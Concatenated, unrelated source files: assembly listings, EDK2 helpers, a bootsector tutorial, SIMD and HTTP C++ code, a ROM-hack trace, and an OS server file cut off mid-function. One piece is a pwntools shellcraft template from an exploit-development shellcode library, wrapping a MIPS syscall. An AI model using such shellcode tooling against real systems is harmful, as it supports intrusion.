and r13, r9; x274 <- x268&0x3ffffffffffffff
mov rbp, 0x1ffffffffffffff ; moving imm to reg
and r8, rbp; x309 <- x303&0x1ffffffffffffff
and rdi, r9; x288 <- x282&0x3ffffffffffffff
and r15, r9; x314 <- x310&0x3ffffffffffffff
mov [ rdx + 0x28 ], rdi; out1[5] = x288
mov [ rdx + 0x18 ], r13; out1[3] = x274
mov [ rdx + 0x38 ], r14; out1[7] = x302
mov [ rdx + 0x0 ], r15; out1[0] = x314
mov [ rdx + 0x10 ], rbx; out1[2] = x318
and r10, r9; x295 <- x289&0x3ffffffffffffff
mov [ rdx + 0x40 ], r8; out1[8] = x309
and rcx, r9; x317 <- x315&0x3ffffffffffffff
mov [ rdx + 0x30 ], r10; out1[6] = x295
mov [ rdx + 0x8 ], rcx; out1[1] = x317
mov rbx, [ rsp + 0xf8 ]; restoring from stack
mov rbp, [ rsp + 0x100 ]; restoring from stack
mov r12, [ rsp + 0x108 ]; restoring from stack
mov r13, [ rsp + 0x110 ]; restoring from stack
mov r14, [ rsp + 0x118 ]; restoring from stack
mov r15, [ rsp + 0x120 ]; restoring from stack
add rsp, 0x128
ret
; cpu Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz
; clocked at 1600 MHz
; first cyclecount 74.025, best 56.3609022556391, lastGood 58.3515625
; seed 4109329367978504
; CC / CFLAGS clang / -march=native -mtune=native -O3
; time needed: 1828517 ms / 60000 runs=> 30.475283333333334ms/run
; Time spent for assembling and measureing (initial batch_size=128, initial num_batches=101): 253568 ms
; Ratio (time for assembling + measure)/(total runtime for 60000runs): 0.13867412772208298
; number reverted permutation/ tried permutation: 25828 / 29927 =86.303%
; number reverted decision/ tried decision: 23640 / 30074 =78.606% |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5099 DB 'Hello World!', 0aH, 00H
ORG $+2
$SG5100 DB 'sum_result=%d,multi_result=%d', 0aH, 00H
CONST ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC ?f@@YAXHHPEAH0@Z ; f
PUBLIC main
PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
EXTRN __acrt_iob_func:PROC
EXTRN __stdio_common_vfprintf:PROC
; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA
_BSS SEGMENT
?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN3
DD imagerel $LN3+67
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN3
DD imagerel $LN3+87
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$main DD imagerel $LN3
DD imagerel $LN3+69
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$main DD 010401H
DD 06204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 011801H
DD 06218H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 011801H
DD 06218H
xdata ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
multi_result$ = 32
sum_result$ = 36
main PROC
; File C:\Users\libit\source\repos\L017\L017\L017.cpp
; Line 14
$LN3:
sub rsp, 56 ; 00000038H
; Line 18
lea rcx, OFFSET FLAT:$SG5099
call printf
; Line 19
lea r9, QWORD PTR multi_result$[rsp]
lea r8, QWORD PTR sum_result$[rsp]
mov edx, 456 ; 000001c8H
mov ecx, 123 ; 0000007bH
call ?f@@YAXHHPEAH0@Z ; f
; Line 20
mov r8d, DWORD PTR multi_result$[rsp]
mov edx, DWORD PTR sum_result$[rsp]
lea rcx, OFFSET FLAT:$SG5100
call printf
; Line 21
xor eax, eax
add rsp, 56 ; 00000038H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
x$ = 8
y$ = 16
sum$ = 24
multi$ = 32
?f@@YAXHHPEAH0@Z PROC ; f
; File C:\Users\libit\source\repos\L017\L017\L017.cpp
; Line 7
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
; Line 8
mov eax, DWORD PTR y$[rsp]
mov ecx, DWORD PTR x$[rsp]
add ecx, eax
mov eax, ecx
mov rcx, QWORD PTR sum$[rsp]
mov DWORD PTR [rcx], eax
; Line 9
mov eax, DWORD PTR x$[rsp]
imul eax, DWORD PTR y$[rsp]
mov rcx, QWORD PTR multi$[rsp]
mov DWORD PTR [rcx], eax
; Line 10
ret 0
?f@@YAXHHPEAH0@Z ENDP ; f
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT printf
_TEXT SEGMENT
_Result$ = 32
_ArgList$ = 40
_Format$ = 64
printf PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 954
$LN3:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
sub rsp, 56 ; 00000038H
; Line 957
lea rax, QWORD PTR _Format$[rsp+8]
mov QWORD PTR _ArgList$[rsp], rax
; Line 958
mov ecx, 1
call __acrt_iob_func
mov r9, QWORD PTR _ArgList$[rsp]
xor r8d, r8d
mov rdx, QWORD PTR _Format$[rsp]
mov rcx, rax
call _vfprintf_l
mov DWORD PTR _Result$[rsp], eax
; Line 959
mov QWORD PTR _ArgList$[rsp], 0
; Line 960
mov eax, DWORD PTR _Result$[rsp]
; Line 961
add rsp, 56 ; 00000038H
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 642
$LN3:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; Line 643
call __local_stdio_printf_options
mov rcx, QWORD PTR _ArgList$[rsp]
mov QWORD PTR [rsp+32], rcx
mov r9, QWORD PTR _Locale$[rsp]
mov r8, QWORD PTR _Format$[rsp]
mov rdx, QWORD PTR _Stream$[rsp]
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 644
add rsp, 56 ; 00000038H
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; Line 88
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; Line 89
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteDr7.Asm
;
; Abstract:
;
; AsmWriteDr7 function
;
; Notes:
;
;------------------------------------------------------------------------------
.586p
.model flat,C
.code
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmWriteDr7 (
; IN UINTN Value
; );
;------------------------------------------------------------------------------
AsmWriteDr7 PROC
mov eax, [esp + 4]
mov dr7, eax
ret
AsmWriteDr7 ENDP
END
|
<%
from pwnlib.shellcraft.mips.linux import syscall
%>
<%page args="fd, params"/>
<%docstring>
Invokes the syscall gtty. See 'man 2 gtty' for more information.
Arguments:
fd(int): fd
params(sgttyb): params
</%docstring>
${syscall('SYS_gtty', fd, params)}
|
//
// Copyright (c) 2018-2019 Christian Mazakas (christian dot mazakas at gmail dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt
// or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// Official repository: https://github.com/LeonineKing1199/foxy
//
#ifndef FOXY_DETAIL_EXPORT_CONNECT_FIELDS_HPP_
#define FOXY_DETAIL_EXPORT_CONNECT_FIELDS_HPP_
#include <boost/beast/http/field.hpp>
#include <boost/beast/http/fields.hpp>
#include <boost/beast/http/type_traits.hpp>
#include <boost/beast/http/rfc7230.hpp>
#include <boost/utility/string_view.hpp>
#include <boost/range/algorithm.hpp>
#include <type_traits>
#include <array>
#include <vector>
#include <memory>
#include <iterator>
namespace foxy
{
namespace detail
{
// export_connect_fields writes all the hop-by-hop headers in `src` to the Fields container denoted
// by `dst`
//
// Using the passage below, we know the user is allowed to specify Connection multiple times in the
// fields
//
// HTTP RFC 7230: https://tools.ietf.org/html/rfc7230#section-3.2.2
// A sender MUST NOT generate multiple header fields with the same field name in a message unless
// either the entire field value for that header field is defined as a comma-separated list [i.e.,
// #(values)] or the header field is a well-known exception (as noted below).
//
// Connection ABNF:
// Connection = *( "," OWS ) connection-option *( OWS "," [ OWS connection-option ] )
//
template <class Allocator>
void
export_connect_fields(boost::beast::http::basic_fields<Allocator>& src,
boost::beast::http::basic_fields<Allocator>& dst);
} // namespace detail
} // namespace foxy
template <class Allocator>
void
foxy::detail::export_connect_fields(boost::beast::http::basic_fields<Allocator>& src,
boost::beast::http::basic_fields<Allocator>& dst)
{
namespace http = boost::beast::http;
namespace range = boost::range;
using string_type =
std::basic_string<char, std::char_traits<char>,
typename std::allocator_traits<Allocator>::template rebind_alloc<char>>;
// first collect all the Connection options into one coherent list
//
auto connect_opts =
std::vector<string_type,
typename std::allocator_traits<Allocator>::template rebind_alloc<string_type>>(
src.get_allocator());
connect_opts.reserve(128);
auto const connect_fields = src.equal_range(http::field::connection);
auto out = std::back_inserter(connect_opts);
range::for_each(connect_fields, [&src, out](auto const& connect_field) {
range::transform(
http::token_list(connect_field.value()), out, [&src](auto const token_view) -> string_type {
return string_type(token_view.begin(), token_view.end(), src.get_allocator());
});
});
range::sort(connect_opts);
range::unique(connect_opts);
// iterate the `src` fields, moving any connect headers and the corresponding tokens to the `dst`
// fields
//
auto const hop_by_hops = std::array<http::field, 11>{http::field::connection,
http::field::keep_alive,
http::field::proxy_authenticate,
http::field::proxy_authentication_info,
http::field::proxy_authorization,
http::field::proxy_connection,
http::field::proxy_features,
http::field::proxy_instruction,
http::field::te,
http::field::trailer,
http::field::transfer_encoding};
auto const is_connect_opt =
[&connect_opts,
&hop_by_hops](typename http::basic_fields<Allocator>::value_type const& field) -> bool {
if (range::find(hop_by_hops, field.name()) != hop_by_hops.end()) { return true; }
for (auto const opt : connect_opts) {
if (field.name_string() == opt) { return true; }
}
return false;
};
for (auto it = src.begin(); it != src.end();) {
auto const& field = *it;
if (!is_connect_opt(field)) {
++it;
continue;
}
dst.insert(field.name_string(), field.value());
it = src.erase(it);
}
}
#endif // FOXY_DETAIL_EXPORT_CONNECT_FIELDS_HPP_
|
; ===============================================================
; 2014
; ===============================================================
;
; void zx_cls_wc(struct r_Rect8 *r, uchar attr)
;
; Clear the rectangular area on screen.
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_zx_cls_wc
EXTERN asm_zx_cls_wc_pix
EXTERN asm_zx_cls_wc_attr
asm_zx_cls_wc:
; enter : l = attr
; ix = rect *
;
; uses : af, bc, de, hl
push hl ; save attribute
ld l,0
call asm_zx_cls_wc_pix
pop hl
jp asm_zx_cls_wc_attr
|
//==================================================================================================
/*
EVE - Expressive Vector Engine
Copyright : EVE Contributors & Maintainers
SPDX-License-Identifier: MIT
*/
//==================================================================================================
#pragma once
#include <eve/detail/abi.hpp>
#include <eve/detail/category.hpp>
#include <eve/detail/function/simd/common/swizzle_helpers.hpp>
#include <eve/detail/function/slice.hpp>
#include <eve/traits/as_floating_point.hpp>
#include <eve/traits/as_integer.hpp>
#include <eve/forward.hpp>
#include <eve/pattern.hpp>
namespace eve::detail
{
//================================================================================================
// shuffle requires cross-api re-targeting (ie AVX512 128bits calling back SSSE3)
// so instead of our classical one-size-fit-all overloads, we need to split it into
// API supports overloads
//================================================================================================
//================================================================================================
// Unary swizzle - logical on AVX512 ABI, call general case on others
//================================================================================================
template<typename T, typename N, shuffle_pattern Pattern>
EVE_FORCEINLINE auto basic_swizzle_ ( EVE_SUPPORTS(sse2_)
, logical<wide<T,N>> const& v, Pattern p
) noexcept
requires x86_abi<abi_t<T, N>>
{
if constexpr( current_api >= avx512 ) return to_logical((v.mask())[p]);
else return basic_swizzle_(EVE_RETARGET(cpu_),v,p);
}
//================================================================================================
// Check a pattern fits the half-lane rules for x86 pseudo-shuffle
//================================================================================================
template<std::ptrdiff_t... I>
consteval bool is_x86_shuffle_compatible(pattern_t<I...> p)
{
constexpr std::ptrdiff_t c = sizeof...(I);
std::ptrdiff_t idx[c];
for(int i=0;i<c ;++i) idx[i] = p(i,c);
for(int i=0;i<c/2;++i) if(idx[i] >= c/2) return false;
for(int i=c/2;i<c;++i) if(idx[i] < c/2 && idx[i] != na_) return false;
return true;
}
//================================================================================================
// SSE2-SSSE3 variant
//================================================================================================
template<typename T, typename N, shuffle_pattern Pattern>
EVE_FORCEINLINE auto basic_swizzle_( EVE_SUPPORTS(sse2_), wide<T, N> const& v, Pattern const&)
requires std::same_as<abi_t<T, N>, x86_128_>
{
constexpr auto sz = Pattern::size();
using that_t = as_wide_t<wide<T, N>, fixed<sz>>;
constexpr Pattern q = {};
// We're swizzling so much we aggregate the output
if constexpr( has_aggregated_abi_v<that_t> )
{
return aggregate_swizzle(v,q);
}
else if constexpr(sizeof(T) == 8)
{
using f_t = as_floating_point_t<that_t>;
auto const vv = bit_cast(v,as<f_t>{});
constexpr auto m = _MM_SHUFFLE2(q(1,2)&1, q(0,2)&1);
return bit_cast(process_zeros(f_t{_mm_shuffle_pd(vv,vv,m)},q),as<that_t>{});
}
else if constexpr( current_api >= ssse3 )
{
using st_t = typename that_t::storage_type;
using bytes_t = typename that_t::template rebind<std::uint8_t,fixed<16>>;
using i_t = as_integer_t<wide<T, N>>;
return that_t ( (st_t)_mm_shuffle_epi8( bit_cast(v,as<i_t>{}).storage()
, as_bytes<that_t>(q,as<bytes_t>())
)
);
}
else
{
if constexpr(sizeof(T) == 4)
{
constexpr auto m = _MM_SHUFFLE(q(3,4)&3, q(2,4)&3, q(1,4)&3, q(0,4)&3);
if constexpr( std::same_as<T,float> ) return process_zeros(that_t{_mm_shuffle_ps(v,v,m)} ,q);
else return process_zeros(that_t{_mm_shuffle_epi32(v,m)},q);
}
else if constexpr(sizeof(T) == 2)
{
if constexpr( (sz < 8) && q.strictly_under(4) )
{
constexpr auto m = _MM_SHUFFLE(q(3,4)&3, q(2,4)&3, q(1,4)&3, q(0,4)&3);
return process_zeros(that_t{_mm_shufflelo_epi16(v,m)},q);
}
else if constexpr( (sz < 8) && q.over(4) )
{
constexpr auto m = _MM_SHUFFLE(q(3,4)&3, q(2,4)&3, q(1,4)&3, q(0,4)&3);
return process_zeros(that_t{_mm_bsrli_si128(_mm_shufflehi_epi16(v,m),8)},q);
}
else
{
constexpr auto lp = pattern_view<0,4,8>(q);
constexpr auto hp = pattern_view<4,8,8>(q);
if constexpr( lp.strictly_under(4) && hp.over(4))
return process_zeros(that_t{v[lp],v[hp]},q);
else if constexpr( hp.strictly_under(4) && lp.over(4))
return process_zeros(that_t{v[lp],v[hp]},q);
else return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
}
else
{
return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
}
}
//================================================================================================
// AVX+ variant
//================================================================================================
template<typename T, typename N, shuffle_pattern Pattern>
EVE_FORCEINLINE auto basic_swizzle_( EVE_SUPPORTS(avx_), wide<T,N> const& v, Pattern const&)
requires x86_abi<abi_t<T, N>>
{
constexpr auto cd = N::value;
constexpr auto sz = Pattern::size();
using that_t = as_wide_t<wide<T,N>,fixed<sz>>;
constexpr auto width_in = cd*sizeof(T);
constexpr auto width_out = sz*sizeof(T);
constexpr Pattern q = {};
// We're swizzling so much we aggregate the output
if constexpr( has_aggregated_abi_v<that_t> )
{
return aggregate_swizzle(v,q);
}
else if constexpr( width_in == 64 )
{
/// TODO: AVX512VBMI supports 128-bits permutexvar
if constexpr(width_out <= 16) return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
else if constexpr(width_out == 32)
{
if constexpr( q.strictly_under(cd/2) ) return v.slice(lower_)[q];
else if constexpr( q.over(cd/2) ) return v.slice(upper_)[slide_pattern<cd/2,sz>(q)];
/// TODO: optimize using SSSE3 + binary shuffle
else return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
else
{
constexpr auto c = categorize<that_t>();
auto const m = as_indexes<that_t>(q);
that_t s;
if constexpr(c == category::float64x8 ) s = _mm512_permutexvar_pd(m,v);
else if constexpr(c == category::float32x16) s = _mm512_permutexvar_ps(m,v);
else if constexpr(match(c,category::int32x16,category::uint32x16)) s = _mm512_permutexvar_epi32(m,v);
else if constexpr(match(c,category::int16x32,category::uint16x32)) s = _mm512_permutexvar_epi16(m,v);
else return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
return process_zeros(s,q);
}
}
else if constexpr( width_in == 32 )
{
if constexpr(width_out <= 16)
{
if constexpr( q.strictly_under(cd/2) ) return v.slice(lower_)[ q ];
else if constexpr( q.over(cd/2) ) return v.slice(upper_)[ slide_pattern<cd/2,sz>(q) ];
/// TODO: optimize using SSSE3 + binary shuffle
else return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
else
{
if constexpr(current_api >= avx512)
{
constexpr auto c = categorize<that_t>();
auto const m = as_indexes<that_t>(q);
that_t s;
if constexpr(match(c,category::int64x4 ,category::uint64x4) )
{
auto vc = bit_cast(v, as<as_floating_point_t<that_t>>{});
return bit_cast( basic_swizzle(vc, q) , as(s));
}
else if constexpr(match(c,category::int32x8 ,category::uint32x8) ) s = _mm256_permutexvar_epi32(m,v);
else if constexpr(match(c,category::int16x16,category::uint16x16)) s = _mm256_permutexvar_epi16(m,v);
else if constexpr(match(c,category::int8x32 ,category::uint8x32) )
{
if constexpr(supports_avx512vbmi_) s = _mm256_permutexvar_epi8(m,v);
else return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
else if constexpr(c == category::float64x4 ) s = _mm256_permutexvar_pd(m,v);
else if constexpr(c == category::float32x8 ) s = _mm256_permutexvar_ps(m,v);
return process_zeros(s,q);
}
else if constexpr(current_api >= avx2)
{
if constexpr(sizeof(T) == 8)
{
constexpr auto m = _MM_SHUFFLE(q(3,4)&3,q(2,4)&3,q(1,4)&3,q(0,4)&3);
if constexpr(std::same_as<T,double>)
return process_zeros(that_t{ _mm256_permute4x64_pd(v, m) },q);
else
return process_zeros(that_t{ _mm256_permute4x64_epi64(v, m) },q);
}
else if constexpr(sizeof(T) == 4)
{
auto m = as_indexes<wide<T,N>>(q);
if constexpr(std::same_as<T,float>)
return process_zeros(that_t{ _mm256_permutevar8x32_ps(v, m) },q);
else
return process_zeros(that_t{ _mm256_permutevar8x32_epi32(v, m) },q);
}
else
{
/// TODO: optimize sub 32-bits using SSSE3 + binary shuffle
return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
}
else
{
using f_t = as_floating_point_t<wide<T,N>>;
if constexpr(sizeof(T) == 8 && is_x86_shuffle_compatible(q) )
{
auto const vv = bit_cast(v,as<f_t>{});
//======================================================================================
// Fix the pattern to fit the non-obvious control mask for _mm256_permutevar_pd
// which read bits 1/65/129/193 instead of the obvious 0/64/128/192
//======================================================================================
constexpr auto fixed_pattern = fix_pattern<N::value>
(
[](auto i, auto c) { Pattern r; return (i<c/2 ? r(i,c) : r(i-c/2,c)) << 1; }
);
auto const m = as_indexes<wide<T,N>>(fixed_pattern);
return bit_cast(process_zeros(f_t{_mm256_permutevar_pd(vv,m)},q),as(v));
}
else if constexpr(sizeof(T) == 4 && is_x86_shuffle_compatible(q) )
{
auto const vv = bit_cast(v,as<f_t>{});
auto const m = as_indexes<wide<T,N>>(q);
return bit_cast(process_zeros(f_t{_mm256_permutevar_ps(vv,m)},q),as(v));
}
else
{
/// TODO: optimize sub 32-bits using SSSE3 + shuffle
return basic_swizzle_(EVE_RETARGET(cpu_),v,q);
}
}
}
}
else if constexpr( width_in <= 16 )
{
return basic_swizzle_(EVE_RETARGET(sse2_), v, q);
}
}
}
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
0087F0 move.l #$914400, ($8,A0) [base+44E, base+450]
0087F8 move.l #$914800, ($c,A0) [base+452, base+454]
00887E move.l #$914400, ($8,A0) [base+44E, base+450]
008886 move.l #$914800, ($c,A0) [base+452, base+454]
0088C8 movea.l ($8,A0), A1
0088CC bsr $88f4 [base+452, base+454]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2016, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; InterlockedCompareExchange32.Asm
;
; Abstract:
;
; InterlockedCompareExchange32 function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; InternalSyncCompareExchange32 (
; IN volatile UINT32 *Value,
; IN UINT32 CompareValue,
; IN UINT32 ExchangeValue
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalSyncCompareExchange32)
ASM_PFX(InternalSyncCompareExchange32):
mov eax, edx
lock cmpxchg [rcx], r8d
ret
|
[org 0x7c00] ; bootloader offset
mov bp, 0x9000 ; set the stack
mov sp, bp
mov bx, MSG_REAL_MODE
call print ; This will be written after the BIOS messages
call switch_to_pm
jmp $ ; this will actually never be executed
%include "../05-bootsector-functions-strings/boot_sect_print.asm"
%include "../08-32bit-print/32bit-print.asm"
gdt_start: ; don't remove the labels, they're needed to compute sizes and jumps
; the GDT starts with a null 8-byte
dd 0x0 ; 4 byte
dd 0x0 ; 4 byte
; GDT for code segment. base = 0x00000000, length = 0xfffff
; for flags, refer to os-dev.pdf document, page 36
gdt_code:
dw 0xffff ; segment length, bits 0-15
dw 0x0 ; segment base, bits 0-15
db 0x0 ; segment base, bits 16-23
db 10011010b ; flags (8 bits)
db 11001111b ; flags (4 bits) + segment length, bits 16-19
db 0x0 ; segment base, bits 24-31
; GDT for data segment. base and length identical to code segment
; some flags changed, again, refer to os-dev.pdf
gdt_data:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0x0
gdt_end:
; GDT descriptor
gdt_descriptor:
dw gdt_end - gdt_start - 1 ; size (16 bit), always one less of its true size
dd gdt_start ; address (32 bit)
; define some constants for later use
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
[bits 16]
switch_to_pm:
cli ; 1. disable interrupts
lgdt [gdt_descriptor] ; 2. load the GDT descriptor
;mov eax, cr0
or cr0, 0x1 ; 3. set 32-bit mode bit in cr0
;mov cr0, eax
jmp 0x08:init_pm ; 4. far jump by using a different segment
[bits 32]
init_pm: ; we are now using 32-bit instructions
mov ax, DATA_SEG ; 5. update the segment registers
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000 ; 6. update the stack right at the top of the free space
mov esp, ebp
call BEGIN_PM ; 7. Call a well-known label with useful code
[bits 32]
BEGIN_PM: ; after the switch we will get here
mov ebx, MSG_PROT_MODE
call print_string_pm ; Note that this will be written at the top left corner
jmp $
MSG_REAL_MODE db "Started in 16-bit real mode", 0
MSG_PROT_MODE db "Loaded 32-bit protected mode", 0
; bootsector
times 510-($-$$) db 0
dw 0xaa55
|
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/poll.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/sysmacros.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <iomanip>
#include <iostream>
#include <async/algorithm.hpp>
#include <async/oneshot-event.hpp>
#include <protocols/mbus/client.hpp>
#include <helix/timer.hpp>
#include "net.hpp"
#include "common.hpp"
#include "clock.hpp"
#include "device.hpp"
#include "drvcore.hpp"
#include "nl-socket.hpp"
#include "vfs.hpp"
#include "process.hpp"
#include "epoll.hpp"
#include "exec.hpp"
#include "extern_fs.hpp"
#include "extern_socket.hpp"
#include "devices/full.hpp"
#include "devices/helout.hpp"
#include "devices/null.hpp"
#include "devices/random.hpp"
#include "devices/urandom.hpp"
#include "devices/zero.hpp"
#include "fifo.hpp"
#include "gdbserver.hpp"
#include "inotify.hpp"
#include "procfs.hpp"
#include "pts.hpp"
#include "signalfd.hpp"
#include "subsystem/block.hpp"
#include "subsystem/drm.hpp"
#include "subsystem/input.hpp"
#include "subsystem/pci.hpp"
#include "sysfs.hpp"
#include "un-socket.hpp"
#include "timerfd.hpp"
#include "eventfd.hpp"
#include "tmp_fs.hpp"
#include <kerncfg.pb.h>
#include <bragi/helpers-std.hpp>
#include <posix.bragi.hpp>
#include <frg/std_compat.hpp>
namespace {
constexpr bool logRequests = false;
constexpr bool logPaths = false;
constexpr bool logSignals = false;
constexpr bool logCleanup = false;
constexpr bool debugFaults = false;
}
std::map<
std::array<char, 16>,
std::shared_ptr<Process>
> globalCredentialsMap;
std::shared_ptr<Process> findProcessWithCredentials(const char *credentials) {
std::array<char, 16> creds;
memcpy(creds.data(), credentials, 16);
return globalCredentialsMap.at(creds);
}
void dumpRegisters(std::shared_ptr<Process> proc) {
auto thread = proc->threadDescriptor();
uintptr_t pcrs[2];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsProgram, pcrs));
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, gprs));
auto ip = pcrs[0];
auto sp = pcrs[1];
#if defined(__x86_64__)
printf("rax: %.16lx, rbx: %.16lx, rcx: %.16lx\n", gprs[0], gprs[1], gprs[2]);
printf("rdx: %.16lx, rdi: %.16lx, rsi: %.16lx\n", gprs[3], gprs[4], gprs[5]);
printf(" r8: %.16lx, r9: %.16lx, r10: %.16lx\n", gprs[6], gprs[7], gprs[8]);
printf("r11: %.16lx, r12: %.16lx, r13: %.16lx\n", gprs[9], gprs[10], gprs[11]);
printf("r14: %.16lx, r15: %.16lx, rbp: %.16lx\n", gprs[12], gprs[13], gprs[14]);
printf("rip: %.16lx, rsp: %.16lx\n", pcrs[0], pcrs[1]);
#elif defined(__aarch64__)
// Registers X0-X30 have indices 0-30
for (int i = 0; i < 31; i += 3) {
if (i != 30) {
printf("x%02d: %.16lx, x%02d: %.16lx, x%02d: %.16lx\n", i, gprs[i], i + 1, gprs[i + 1], i + 2, gprs[i + 2]);
} else {
